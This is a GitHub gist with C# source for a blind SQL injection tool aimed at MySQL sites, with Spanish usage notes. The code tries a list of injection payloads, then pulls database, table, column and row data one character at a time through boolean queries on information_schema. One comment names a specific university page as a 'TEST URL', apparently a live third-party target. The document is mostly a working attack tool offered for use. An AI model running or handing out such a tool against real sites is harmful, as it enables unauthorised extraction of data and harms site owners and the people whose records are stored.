Skip to content

Instantly share code, notes, and snippets.

@carlosernestolopez
Last active September 27, 2019 18:22
Show Gist options
  • Save carlosernestolopez/a14ab28c482c845e6594fc38a342e358 to your computer and use it in GitHub Desktop.
Save carlosernestolopez/a14ab28c482c845e6594fc38a342e358 to your computer and use it in GitHub Desktop.
// Braile // MySQL Blind SQL Injections Tool
// Braile
// MySQL Blind SQL Injections Tool
// By Carlos E. López
// celopez.ni1990@gmail.com
// León, Nicaragua
// 13/09/2019 Se agregó soporte para peticiones POST
// 13/09/2019 Mejoras varias
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Threading.Tasks;
namespace BraileCMD
{
class Program
{
static void Main(string[] args)
{
if (args.Length < 3)
printUsage();
string httpMethod = args[0];
string url = args[1];
string okReponse = args[2];
string command = "";
if (args.Length > 3)
command = args[3];
if (okReponse == "")
{
Console.WriteLine("ERROR: Please enter a valid text to identify if the injection was successfully executed");
printUsage();
}
string[] valid_commands = new string[] { "tables", "cols", "rows" };
if (command != "" && !valid_commands.Contains(command))
{
Console.WriteLine("ERROR: Invalid command. Please use tables to retrieve the tables related to a database, cols to retrieve column names of a specific table or rows to get all the information from a table");
printUsage();
}
Console.WriteLine("\nIdentifying injection method");
string post_data = "";
if (httpMethod == "POST")
{
string[] url_parts = url.Split('|');
url = url_parts[0];
post_data = url_parts[1];
}
List<string> methods = new List<string> { };
methods.Add(" AND 1=1");
methods.Add(" AND '1'='1");
methods.Add(" AND 1=1/*");
methods.Add(" AND 1=1--");
methods.Add("/**/AND/**/'1'='1");
methods.Add("/**/AND/**/1=1/*");
methods.Add("/**/AND--");
methods.Add("' AND '1'='1");
methods.Add("' AND 1=1/*");
methods.Add("' AND 1=1--");
methods.Add("'/**/AND/**/'1'='1");
methods.Add("'/**/AND/**/1=1/*");
methods.Add("'/**/AND--");
string method_to_use = "";
foreach (string method in methods)
{
using (WebClient wc = new WebClient())
{
string result = "";
try {
if ( post_data != "" )
{
wc.Headers[HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded";
result = wc.UploadString(url, post_data + method);
}
else
result = wc.DownloadString(url + method);
}
catch(Exception){
try
{
if (post_data != "")
{
wc.Headers[HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded";
result = wc.UploadString(url, post_data + method);
}
else
result = wc.DownloadString(url + method);
}
catch (Exception)
{
}
}
if (result.Contains(okReponse))
{
method_to_use = method;
break;
}
}
}
if (method_to_use == "")
{
Console.WriteLine("The injection method couldn't be identified");
Environment.Exit(-1);
}
else
{
Console.WriteLine("\nMethod successfully identified: " + method_to_use);
}
if (args.Length == 5 && command == "tables" && args[4] != "")
{
string database = args[4];
Console.WriteLine("\nRetrieving number of tables");
string countTables = getInfo(url, method_to_use.Replace("AND", "AND (SELECT IF(ORD( SUBSTRING( CAST(COUNT(*) AS UNSIGNED INT), {pos}, 1 ) ) IN ({ReplaceMe}), 1, 0) FROM information_schema.TABLES WHERE TABLE_SCHEMA = " + getHex(database) + ") AND "), okReponse, post_data);
Console.WriteLine(countTables + " Tables found");
Console.WriteLine("\nRetrieving tables in " + database);
for (int x = 0; x < Int32.Parse(countTables); x++)
{
string res = getInfo(url, method_to_use.Replace("AND", "AND (SELECT IF(ORD( SUBSTRING( TABLE_NAME, {pos}, 1 ) ) IN ({ReplaceMe}), 1, 0) FROM information_schema.TABLES WHERE TABLE_SCHEMA = " + getHex(database) + " LIMIT " + x.ToString() + ",1) AND "), okReponse, post_data);
Console.WriteLine(x.ToString() + " - " + res);
}
}
else if (args.Length == 6 && command == "cols" && args[4] != "" && args[4] != "")
{
string database = args[4];
string table = args[5];
Console.WriteLine("\nRetrieving number of columns");
string countTables = getInfo(url, method_to_use.Replace("AND", "AND (SELECT IF(ORD( SUBSTRING( CAST(COUNT(*) AS UNSIGNED INT), {pos}, 1 ) ) IN ({ReplaceMe}), 1, 0) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = " + getHex(database) + " AND TABLE_NAME = " + getHex(table) + ") AND "), okReponse, post_data);
Console.WriteLine(countTables + " columns found");
Console.WriteLine("\nIdentifying columns in " + database + "." + table);
for (int x = 0; x < Int32.Parse(countTables); x++)
{
string res = getInfo(url, method_to_use.Replace("AND", "AND (SELECT IF(ORD( SUBSTRING( COLUMN_NAME, {pos}, 1 ) ) IN ({ReplaceMe}), 1, 0) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = " + getHex(database) + " AND TABLE_NAME = " + getHex(table) + " LIMIT " + x.ToString() + ",1) AND "), okReponse, post_data);
Console.WriteLine(x.ToString() + " - " + res);
}
}
else if ((args.Length == 7 || args.Length == 8) && command == "rows" && args[4] != "" && args[5] != "" && args[6] != "")
{
string database = args[4];
string table = args[5];
string columns = args[6];
int start = 0;
if (args.Length == 8 && args[7] != "") {
start = Int32.Parse(args[7]);
}
if (start < 0)
printUsage();
if (columns.Contains(","))
columns = "concat(" + columns.Replace(",", ",0x20,") + ")";
Console.WriteLine("\nRetrieving the number of rows");
string countRows = getInfo(url, method_to_use.Replace("AND", "AND (SELECT IF(ORD( SUBSTRING( CAST(COUNT(*) AS UNSIGNED INT), {pos}, 1 ) ) IN ({ReplaceMe}), 1, 0) FROM " + database + "." + table + ") AND "), okReponse, post_data);
Console.WriteLine(countRows + " Rows found");
Console.WriteLine("\nIdentifying Rows information");
for (int x = start; x < Int32.Parse(countRows); x++)
{
string sql = method_to_use.Replace("AND", "AND (SELECT IF(ORD( SUBSTRING(" + columns + ", {pos}, 1 ) ) IN ({ReplaceMe}), 1, 0) FROM " + database + "." + table + " LIMIT " + x + ",1) AND ");
string res = getInfo(url, sql, okReponse, post_data);
Console.WriteLine(x.ToString() + " - " + res);
}
}
else
{
Console.WriteLine("\nIndentifying number of databases");
string countDB = getInfo(url, method_to_use.Replace("AND", "AND (SELECT IF(ORD( SUBSTRING( CAST(COUNT(*) AS UNSIGNED INT), {pos}, 1 ) ) IN ({ReplaceMe}), 1, 0) FROM information_schema.SCHEMATA WHERE SCHEMA_NAME != " + getHex("information_schema") + ") AND "), okReponse, post_data);
Console.WriteLine(countDB + " databases found");
Console.WriteLine("\nRetrieving databases information");
for (int x = 0; x < Int32.Parse(countDB); x++)
{
string res = getInfo(url, method_to_use.Replace("AND", "AND (SELECT IF(ORD( SUBSTRING( SCHEMA_NAME, {pos}, 1 ) ) IN ({ReplaceMe}), 1, 0) FROM information_schema.SCHEMATA WHERE SCHEMA_NAME != " + getHex("information_schema") + " LIMIT " + x.ToString() + ",1) AND "), okReponse, post_data);
Console.WriteLine(x.ToString() + " - " + res);
}
}
}
static void printUsage()
{
Console.WriteLine("Usage: BraileCMD HTTP_METHOD URL OK_RESPONSE [COMMAND]. In POST request use | to separate the URL and the POST vars.");
Console.WriteLine("\nEx 1: BraileCMD GET \"http://site.com/index.php?id=\" \"hello\"");
Console.WriteLine("Ex 2: BraileCMD GET \"http://site.com/index.php?id=\" \"hello\" tables database_name");
Console.WriteLine("Ex 3: BraileCMD GET \"http://site.com/index.php?id=\" \"hello\" cols database_name table_name");
Console.WriteLine("Ex 4: BraileCMD POST \"http://site.com/index.php|id=\" \"hello\" rows database_name table_name");
Console.WriteLine("Ex 5: BraileCMD POST \"http://site.com/pic.php?gal=5|id=10\" \"hello\" rows database_name table_name starting_at");
Environment.Exit(-1);
}
// Codifico las cadenas en hexadecimal por si la inyección no permite utilizar comillas simples
static string getHex(string regularString)
{
return "0x" + string.Join("", regularString.Select(c => String.Format("{0:X2}", Convert.ToInt32(c)))).ToLower();
}
static string getInfo(string url, string method_to_use, string respuestaOK, string postData = "", bool verbose = false)
{
if (method_to_use.Contains("/**/"))
method_to_use.Replace(" ", "/**/");
object locker = new object();
// CONFIG
int partirSubGrupos = 6;
// INIT
string cadenaFinal = "";
url = url.Replace(" ", "%20");
// PREPARAR GRUPOS
Dictionary<string, int[]> grupos = new Dictionary<string, int[]> { };
grupos.Add("minusculas", Enumerable.Range(97, 122 - 97 + 1).ToArray());
grupos.Add("numeros", Enumerable.Range(48, 57 - 48 + 1).ToArray());
grupos.Add("mayusculas", Enumerable.Range(65, 90 - 65 + 1).ToArray());
grupos.Add("espacio", new int[] { 32, 10 });
grupos.Add("especiales", Enumerable.Range(33, 47 - 33 + 1).ToArray());
grupos.Add("especiales2", Enumerable.Range(58, 64 - 58 + 1).ToArray());
grupos.Add("especiales3", Enumerable.Range(91, 95 - 91 + 1).ToArray());
grupos.Add("nulo", new int[] { 0 });
int pos = 1;
while (true)
{
if (verbose)
Console.WriteLine("\n[ IDENTIFICANDO GRUPO ]");
string grupo = "";
foreach (KeyValuePair<string, int[]> _grupo in grupos)
{
if (verbose)
Console.WriteLine("PROBANDO CON " + _grupo.Key);
string grupo_str = string.Join(",", _grupo.Value);
using (WebClient wc = new WebClient())
{
string _result = "";
try {
if (postData != "")
{
wc.Headers[HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded";
_result = wc.UploadString(url, postData + method_to_use.Replace("{ReplaceMe}", grupo_str).Replace("{pos}", pos.ToString()));
}
else
_result = wc.DownloadString(url + method_to_use.Replace("{ReplaceMe}", grupo_str).Replace("{pos}", pos.ToString()));
}
catch (Exception)
{
try
{
if (postData != "")
{
wc.Headers[HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded";
_result = wc.UploadString(url, postData + method_to_use.Replace("{ReplaceMe}", grupo_str).Replace("{pos}", pos.ToString()));
}
else
_result = wc.DownloadString(url + method_to_use.Replace("{ReplaceMe}", grupo_str).Replace("{pos}", pos.ToString()));
}
catch(Exception)
{
}
}
if (_result.Contains(respuestaOK))
{
grupo = _grupo.Key;
if (grupo == "nulo")
{
if (verbose)
Console.WriteLine("\n CADENA FINAL: " + cadenaFinal);
return cadenaFinal;
}
break;
}
}
}
if (grupo == "")
{
if (cadenaFinal != "")
return cadenaFinal;
else return "ERROR GRUPO";
}
string subgrupoFinal = "";
int i = 0;
int[] items_grupo = grupos[grupo];
int[][] sub_grupos = items_grupo.GroupBy(s => i++ / partirSubGrupos).Select(g => g.ToArray()).ToArray();
if (verbose)
Console.WriteLine("\n[ IDENTIFICANDO SUBGRUPO ]");
foreach (int[] subgrupo in sub_grupos)
{
string subgrupo_str = string.Join(",", subgrupo);
if (verbose)
Console.WriteLine("PROBANDO CON " + subgrupo_str);
using (WebClient wc = new WebClient())
{
string _result = "";
try
{
if (postData != "")
{
wc.Headers[HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded";
_result = wc.UploadString(url, postData + method_to_use.Replace("{ReplaceMe}", subgrupo_str).Replace("{pos}", pos.ToString()));
}
else
_result = wc.DownloadString(url + method_to_use.Replace("{ReplaceMe}", subgrupo_str).Replace("{pos}", pos.ToString()));
}
catch(Exception)
{
try {
if (postData != "")
{
wc.Headers[HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded";
_result = wc.UploadString(url, postData + method_to_use.Replace("{ReplaceMe}", subgrupo_str).Replace("{pos}", pos.ToString()));
}
else
_result = wc.DownloadString(url + method_to_use.Replace("{ReplaceMe}", subgrupo_str).Replace("{pos}", pos.ToString()));
}
catch(Exception)
{
}
}
if (_result.Contains(respuestaOK))
{
subgrupoFinal = subgrupo_str;
break;
}
}
}
string caracter = "";
string[] candidatos = subgrupoFinal.Split(',');
Parallel.ForEach(candidatos, (candidato, state) =>
{
using (WebClient wc = new WebClient())
{
string _result = "";
try {
if (postData != "")
{
wc.Headers[HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded";
_result = wc.UploadString(url, postData + method_to_use.Replace("{ReplaceMe}", candidato).Replace("{pos}", pos.ToString()));
}
else
_result = wc.DownloadString(url + method_to_use.Replace("{ReplaceMe}", candidato).Replace("{pos}", pos.ToString()));
}
catch(Exception)
{
try
{
if (postData != "")
{
wc.Headers[HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded";
_result = wc.UploadString(url, postData + method_to_use.Replace("{ReplaceMe}", candidato).Replace("{pos}", pos.ToString()));
}
else
_result = wc.DownloadString(url + method_to_use.Replace("{ReplaceMe}", candidato).Replace("{pos}", pos.ToString()));
}
catch (Exception) {
}
}
if (_result.Contains(respuestaOK))
{
lock (locker)
{
if(verbose)
Console.WriteLine("Caracter encontrado: " + candidato);
caracter = candidato;
pos++;
}
state.Break();
}
}
});
if (caracter == "")
return cadenaFinal;
cadenaFinal += (char)int.Parse(caracter);
}
}
}
}
@carlosernestolopez
Copy link
Author

carlosernestolopez commented Sep 12, 2019

MANUAL DE BraileCMD

URL == La URL de la inyección SQL
OKRESPONSE == Un texto que devuelva la página cuando la inyección se ejecute de manera satisfactoria
HTTP_METHOD == GET o POST

Para peticiones POST se coloca la URL y los parámetros POST separados por |. Ejemplo http://site.com/index.php?cat=10|id=20
"cat=10" viajaría como GET y "id=20" como POST. Para evitar que se mal interprete el caracter | por la consola es conveniente escribir la URL entre comillas dobles.

-- Mostrar bases de datos
BraileCMD HTTP_METHOD URL OKRESPONSE

-- Mostrar tablas
BraileCMD HTTP_METHOD URL OKRESPONSE tables BASE_DE_DATOS

-- Mostrar columnas de una tabla
BraileCMD HTTP_METHOD URL OKRESPONSE cols BASE_DE_DATOS TABLA

-- Mostrar filas de una tabla
BraileCMD HTTP_METHOD URL OKRESPONSE rows BASE_DE_DATOS TABLA

-- Mostrar filas de una tabla desde el registro 100
BraileCMD HTTP_METHOD URL OKRESPONSE rows BASE_DE_DATOS TABLA 100

TEST URL:
https://proafac.unanleon.edu.ni/planes/mostrarplanes.php?idplan=AGR1998

@carlosernestolopez
Copy link
Author

carlosernestolopez commented Sep 12, 2019

@carlosernestolopez
Copy link
Author

TODO:
Se podría modificar la identificación del método de inyección para que también esa multi-hilo. Y se podrían anidar las funciones para identificar grupos, subgrupos y finalmente caracteres para que también sean multi-hilo las primeras 2. Hace falta agregar AND/**/1=1

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment